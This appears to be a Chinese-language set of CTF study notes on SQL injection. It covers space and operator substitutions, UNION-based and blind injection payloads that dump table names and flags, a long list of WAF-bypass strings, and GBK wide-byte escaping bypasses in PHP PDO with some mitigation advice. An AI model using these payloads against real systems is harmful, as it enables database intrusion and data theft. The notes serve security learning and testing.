sql语句中空格的代替方法:

1
2
3
4
5
6
/*!50540select user()*/     mysql(独有)内联注释,!后面的数字是版本号,表示当数据库版本>=5.5.40时执行SQL语句
/**/ mysql多行注释
%09(\t),%0a(\n),%0b,%0c,%0d(\r),%20,%a0 一些空白字符
1.1、2.3、1. 浮点数形式
0e1、1e7 科学计数法
+、-、!、@、~、{}、"、'、()、`` 一些特殊字符

在mysql客户端下测试,所以%09、%0a、%0b这种输入肯定是不行的,要转成%0b、%0c这种的url解码结果输入才行。正常SQL注入的话是在网页输入框中输入,浏览器会自动解码,所以填%09,%0a这种形式。

1
2
3
4
5
6
7
=:like,regexp,liker,<>,!=等 (一般ctf中常见)

and:&&

or: xor,&,^,||(and或or可以相互替换,只是两边条件不同)

逗号:盲注中 from 1 for 1,联合查询中 A join B。

user=1’ union select 1,2,3,4,5,6,7,database();#&password=1#&login=yes

数据库长度是6

名称 seacms

表 adword, content,download,image

id,ad1,ad2,ad3,date image-20200229041214123

le,toutiao,author,keywords,description,xs,hit,images,content,dat

?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)like(0x00),price,name)

/index.php?con=index&act=search&keyword=&sort=’ or ‘1’#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
MariaDB [test]> select * from student order by if(1,pass,id);
+-----+-------+-------+------------+
| id | name | score | pass |
+-----+-------+-------+------------+
| 456 | world | 65.23 | flag{ksgxv |
| 123 | hello | 12.23 | hasaki |
+-----+-------+-------+------------+
2 rows in set (0.000 sec)

MariaDB [test]> select * from student order by if(0,pass,id);
+-----+-------+-------+------------+
| id | name | score | pass |
+-----+-------+-------+------------+
| 123 | hello | 12.23 | hasaki |
| 456 | world | 65.23 | flag{ksgxv |
+-----+-------+-------+------------+
2 rows in set (0.000 sec)

key{d114072d4afc12683d337e6d25e558c5}

?id=%df%27%20or%201=1%23

?id=1%df%27%20order%20by%203%23 三列

?id=1%df%27%%20and%201=2%20ununionion%20select%201,2%23

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘and//1=2//un//ion//////1,2#’’ at line 1

存在union select的过滤,竟然可以大小写绕过。。。

?id=1%df%27%20and%201=2%20UniOn%20SeleCT%201,2,database()%23

test

?id=1%df%27 and 1=2 uNion seLect 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23

flag,news,user

?id=1%df%27 and 1=2 uNion seLect 1,2,group_concat(column_name) from information_schema.columns where table_name=flag%23

?id=1%df%27 and 1=2 uNion seLect 1,2,flag from flag%23

index.php?con=index&act=search&keyword=&cid=0&sort=if(1,asc,desc)#

image-20200229045903945

image-20200229045924599

绕过union select过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#
#
#
#WAF Bypassing Strings:

/*!%55NiOn*/ /*!%53eLEct*/

%55nion(%53elect 1,2,3)-- -

+union+distinct+select+

+union+distinctROW+select+

/**//*!12345UNION SELECT*//**/

/**//*!50000UNION SELECT*//**/

/**/UNION/**//*!50000SELECT*//**/

/*!50000UniON SeLeCt*/

union /*!50000%53elect*/

+#uNiOn+#sEleCt

+#1q%0AuNiOn all#qa%0A#%0AsEleCt

/*!%55NiOn*/ /*!%53eLEct*/

/*!u%6eion*/ /*!se%6cect*/

+un/**/ion+se/**/lect

uni%0bon+se%0blect

%2f**%2funion%2f**%2fselect

union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

REVERSE(noinu)+REVERSE(tceles)

/*--*/union/*--*/select/*--*/

union (/*!/**/ SeleCT */ 1,2,3)

/*!union*/+/*!select*/

union+/*!select*/

/**/union/**/select/**/

/**/uNIon/**/sEleCt/**/

/**//*!union*//**//*!select*//**/

/*!uNIOn*/ /*!SelECt*/

+union+distinct+select+

+union+distinctROW+select+

+UnIOn%0d%0aSeleCt%0d%0a

UNION/*&test=1*/SELECT/*&pwn=2*/

un?+un/**/ion+se/**/lect+

+UNunionION+SEselectLECT+

+uni%0bon+se%0blect+

%252f%252a*/union%252f%252a /select%252f%252a*/

/%2A%2A/union/%2A%2A/select/%2A%2A/

%2f**%2funion%2f**%2fselect%2f**%2f

union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

/*!UnIoN*/SeLecT+

##
#
#
#Union Select by PASS with Url Encoded Method:

%55nion(%53elect)

union%20distinct%20select

union%20%64istinctRO%57%20select

union%2053elect

%23?%0auion%20?%23?%0aselect

%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect

%55nion %53eLEct

u%6eion se%6cect

unio%6e %73elect

unio%6e%20%64istinc%74%20%73elect

uni%6fn distinct%52OW s%65lect

%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7

大小写绕过

特殊字符绕过waf

例如

1
url/index.php?%00file=xxx

PDO下的bypass

PDO真的安全吗? PDO执行流程

PDO

宽字节

https://www.freebuf.com/column/165567.html

如果mysql设置成GBK等多字节编码的话,就会存在绕过

以PHP和MYSQL为例,MySQL收到请求时将请求数据从character_set_client转换为character_set_connection;在进行内部操作前,将请求数据从character_set_connection转换为内部操作字符集,使用每个字段的character_set的值将操作结果从内部操作集转换为character_set_results。而宽字节注入发生的位置就是PHP将请求发送到MYSQL时字符集使用character_set_client设置值进行了一次编码。

php客户端使用单字节,php和mysql的链接层或者mysql服务端用的是GBK等编码就会出现问题

MySQL 5.6 default: big5, cp932, gb2312, gbk and sjis.

1
2
3
4
5
$pdo->query('SET NAMES gbk');
$var = "\xbf\x27 OR 1=1 /*";
$query = 'SELECT * FROM test WHERE name = ? LIMIT 1';
$stmt = $pdo->prepare($query);
$stmt->execute(array($var));

img

当Mysql数据库my.ini文件中设置编码为gbk时,

我们的PHP程序哪怕使用了addslashes(),PDO::quote,mysql_real_escape_string()、mysql_escape_string()等函数、方法,或配置了magic_quotes_gpc=on,依然可以通过构造%df’的方法绕过转义

对于mysql_real_escape_string()https://stackoverflow.com/questions/5741187/sql-injection-that-gets-around-mysql-real-escape-string

修复方法:

The problem here is that we didn’t call the C API’s mysql_set_charset() instead of SET NAMES. If we did, we’d be fine provided we are using a MySQL release since 2006.

If you’re using an earlier MySQL release, then a bug in mysql_real_escape_string() meant that invalid multibyte characters such as those in our payload were treated as single bytes for escaping purposes even if the client had been correctly informed of the connection encoding and so this attack would still succeed. The bug was fixed in MySQL 4.1.20, 5.0.22 and 5.1.11.

But the worst part is that PDO didn’t expose the C API for mysql_set_charset() until 5.3.6, so in prior versions it cannot prevent this attack for every possible command! It’s now exposed as a DSN parameter, which should be used instead of SET NAMES

客户端和服务端编码统一

关闭模拟预处理

设置 SQL_MODE=“NO_BACKSLASH_ESCAPES”'); 将反斜杠作为字符串而不是转义

堆叠

PDO分为模拟预处理非模拟预处理

模拟预处理是防止某些数据库不支持预处理而设置的,也是众多注入的元凶

在初始化PDO驱动时,可以设置一项参数,PDO::ATTR_EMULATE_PREPARES,作用是打开模拟预处理(true)或者关闭(false),默认为true。

PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。

非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:

第一步是prepare阶段,发送SQL语句模板到数据库服务器;

第二步通过execute()函数发送占位符参数给数据库服务器执行。

PDO产生安全问题的主要设置如下:

PDO::ATTR_EMULATE_PREPARES //模拟预处理(默认开启

PDO::ATTR_ERRMODE //报错

PDO::MYSQL_ATTR_MULTI_STATEMENTS //允许多句执行(默认开启)

PDO默认是允许多句执行和模拟预编译的,在用户输入参数可控的情况下,会导致堆叠注入。

报错

当设置PDO::ATTR_ERRMODE和PDO::ERRMODE_EXCEPTION开启报错时

无论是否开启PDO::ATTR_EMULATE_PREPARES-模拟预处理

此时SQL语句如果产生报错,PDO则会将报错抛出

PDO真的安全吗? PDO执行流程

PDO

https://paper.seebug.org/1636/

SQL注入之WAF-Bypass

SQL注入之Bypass

SQL注入ByPass的一些小技巧